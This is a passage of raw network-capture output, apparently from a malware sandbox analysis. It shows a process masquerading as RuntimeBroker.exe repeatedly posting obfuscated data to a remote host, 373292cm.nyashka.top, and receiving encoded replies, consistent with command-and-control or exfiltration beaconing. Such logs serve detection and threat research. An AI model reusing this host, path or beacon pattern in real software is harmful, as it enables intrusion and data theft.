Jan 11, 2025 06:44:31.243086100 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:31.406116962 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	57127	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:30.636059999 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:30.989495039 CET	1852	OUT	Data Raw: 5f 53 59 57 54 47 51 5a 5b 5f 5a 51 59 5f 58 52 57 5d 5d 53 57 5d 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _SYWTGQZ[_ZQY_XRW]]SW]SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S..#!=?4V)==<(&(.;Z4/V 1#+#Y" 5X8&F$.Y/
Jan 11, 2025 06:44:31.284127951 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	57128	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:31.538243055 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:31.895436049 CET	2544	OUT	Data Raw: 5f 52 5c 5e 54 45 54 5e 5b 5f 5a 51 59 51 58 51 57 59 5d 52 57 5f 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _R\^TET^[_ZQYQXQWY]RW_SX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S..#;@5 X406>=<.+.'#72 Q(*;\ ,&F$.Y/=
Jan 11, 2025 06:44:32.167202950 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:32.335767984 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	57129	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:32.486602068 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:32.832834959 CET	2544	OUT	Data Raw: 5f 55 5c 5f 51 44 51 59 5b 5f 5a 51 59 55 58 5f 57 5a 5d 5c 57 50 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _U\_QDQY[_ZQYUX_WZ]\WPS_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-,8!>##5Y=7<-9Z)-( #42 *: #398&F$.Y/-
Jan 11, 2025 06:44:33.114964008 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:33.242477894 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	57130	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:33.366661072 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:33.723489046 CET	2544	OUT	Data Raw: 5f 5d 59 57 51 44 54 5e 5b 5f 5a 51 59 5f 58 5f 57 59 5d 5f 57 58 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _]YWQDT^[_ZQY_X_WY]_WXS[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S._,"[476>,X+="<>4#<#S#2#(470)^;&F$.Y/
Jan 11, 2025 06:44:33.994847059 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:34.122253895 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	57131	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:34.258488894 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:34.614161015 CET	2544	OUT	Data Raw: 5a 57 5c 5f 54 40 51 5b 5b 5f 5a 51 59 5f 58 52 57 59 5d 5b 57 59 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZW\_T@Q[[_ZQY_XRWY][WYS_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-,"#70(^+>)[?<# !8+:? 3.>&F$.Y/
Jan 11, 2025 06:44:34.903548956 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:35.034363031 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	57132	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:35.291584969 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:35.645365953 CET	2544	OUT	Data Raw: 5f 52 59 52 54 40 51 59 5b 5f 5a 51 59 5f 58 50 57 5f 5d 5f 57 59 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _RYRT@QY[_ZQY_XPW_]_WYST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./'E!##=+=,\(.+-?Z (7+_'_ &/&F$.Y/
Jan 11, 2025 06:44:35.923372030 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:36.050525904 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	57133	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:36.179792881 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	57134	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:36.417581081 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:36.770828009 CET	1872	OUT	Data Raw: 5f 54 59 52 51 40 54 5f 5b 5f 5a 51 59 5e 58 53 57 5b 5d 5a 57 5e 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _TYRQ@T_[_ZQY^XSW[]ZW^S_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S._,'6- ^7 !>+<9^+-#X#,(!"#+_<#35Y/&F$.Y/
Jan 11, 2025 06:44:37.051211119 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:37.183163881 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 55 29 25 3e 5a 31 05 0a 55 24 0a 2d 0e 2a 2e 3c 01 2b 3d 35 5f 33 5e 35 1a 25 58 2f 0d 24 5d 2d 5a 28 00 2e 19 32 3f 24 05 3a 1e 2b 5d 0c 13 22 59 23 3a 08 10 25 2c 2f 04 3d 3b 3f 5a 20 3f 35 00 2b 04 25 54 3c 3c 24 5f 3f 07 02 02 3f 39 2a 54 2e 28 0f 17 2e 56 2a 1e 20 3e 2b 52 0d 11 24 52 2b 03 39 54 2a 07 2b 15 23 28 3b 5a 24 03 00 50 25 54 32 57 33 2a 23 01 31 32 36 0f 33 1f 2d 12 32 15 36 5b 26 3f 21 55 35 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &U)%>Z1U$-.<+=5_3^5%X/$]-Z(.2?$:+]"Y#:%,/=;?Z ?5+%T<<$_??9T.(.V* >+R$R+9T+#(;Z$P%T2W3#1263-26[&?!U5"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	57135	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:36.548322916 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:36.895361900 CET	2544	OUT	Data Raw: 5a 56 59 57 54 45 54 50 5b 5f 5a 51 59 53 58 50 57 58 5d 5c 57 5d 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZVYWTETP[_ZQYSXPWX]\W]S_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.]/ 86.7735)?()+-74?/P 8W+:( %_;>&F$.Y/5
Jan 11, 2025 06:44:37.185903072 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:37.352355957 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	57136	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:37.481817007 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:37.838988066 CET	2544	OUT	Data Raw: 5a 57 59 54 54 45 51 5b 5b 5f 5a 51 59 53 58 56 57 50 5d 5b 57 5a 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZWYTTEQ[[_ZQYSXVWP][WZS^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/$!- ^ 0==,_(:+<# 20*90#1,.&F$.Y/5
Jan 11, 2025 06:44:38.125365973 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:38.261291027 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	57137	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:38.451941013 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:38.801670074 CET	2544	OUT	Data Raw: 5f 5d 59 53 54 46 54 58 5b 5f 5a 51 59 50 58 56 57 5e 5d 5e 57 5c 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _]YSTFTX[_ZQYPXVW^]^W\SZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S..306=<_"0\)-^<-=?=87, Q?98#08&F$.Y/
Jan 11, 2025 06:44:39.107403994 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:39.244941950 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	57138	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:39.370022058 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:39.723591089 CET	2544	OUT	Data Raw: 5a 56 59 52 54 44 51 59 5b 5f 5a 51 59 55 58 54 57 5f 5d 5d 57 58 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZVYRTDQY[_ZQYUXTW_]]WXSY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-.3;5=$X#0:=4>=)[? /#W#(_;X46/.&F$.Y/-
Jan 11, 2025 06:44:40.002381086 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:40.135035992 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	57139	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:40.259021997 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:40.617530107 CET	2544	OUT	Data Raw: 5a 52 5c 56 54 45 54 5e 5b 5f 5a 51 59 53 58 51 57 59 5d 5d 57 5c 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZR\VTET^[_ZQYSXQWY]]W\SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/ 0"$^"#)(?=5+<4<# V) 9.>&F$.Y/5
Jan 11, 2025 06:44:40.905994892 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:41.073771954 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	57140	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:41.205629110 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:41.551637888 CET	2544	OUT	Data Raw: 5a 50 59 52 51 42 54 51 5b 5f 5a 51 59 52 58 5f 57 50 5d 53 57 50 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZPYRQBTQ[_ZQYRX_WP]SWPSZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.X;'5>(_ >-<X)[<'\4Z0 "/?9X#=,.&F$.Y/1
Jan 11, 2025 06:44:41.835292101 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:41.962363958 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	57141	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:42.094012022 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	57142	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:42.198781013 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:42.551554918 CET	1872	OUT	Data Raw: 5a 56 59 50 54 46 54 5e 5b 5f 5a 51 59 54 58 53 57 50 5d 5f 57 50 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZVYPTFT^[_ZQYTXSWP]_WPS\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S._8<!=8##=>= _?"<-/Z7P!28?:4"0)\8&F$.Y/)
Jan 11, 2025 06:44:42.827688932 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:42.954541922 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 11 3e 26 32 5c 25 28 2c 54 25 20 3a 56 29 5b 34 03 3d 03 2e 06 25 28 25 5c 27 2d 27 0e 30 05 00 00 3f 00 08 50 24 2f 3f 5d 39 24 2b 5d 0c 13 22 5f 34 2a 0b 01 32 5a 20 10 29 16 0d 5d 22 12 26 13 28 04 21 16 28 11 3f 01 28 17 3f 59 3f 03 3d 0b 2c 28 2e 04 3a 0e 2d 0e 23 3e 2b 52 0d 11 24 1e 3c 2e 39 56 3d 3e 3b 5f 21 38 09 10 27 13 26 56 31 21 39 0d 24 29 2c 12 26 1c 3e 09 30 0f 36 0d 26 28 2e 1c 32 06 29 56 36 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &>&2\%(,T% :V)[4=.%(%\'-'0?P$/?]9$+]"_4*2Z )]"&(!(?(?Y?=,(.:-#>+R$<.9V=>;_!8'&V1!9$),&>06&(.2)V62#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	57143	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
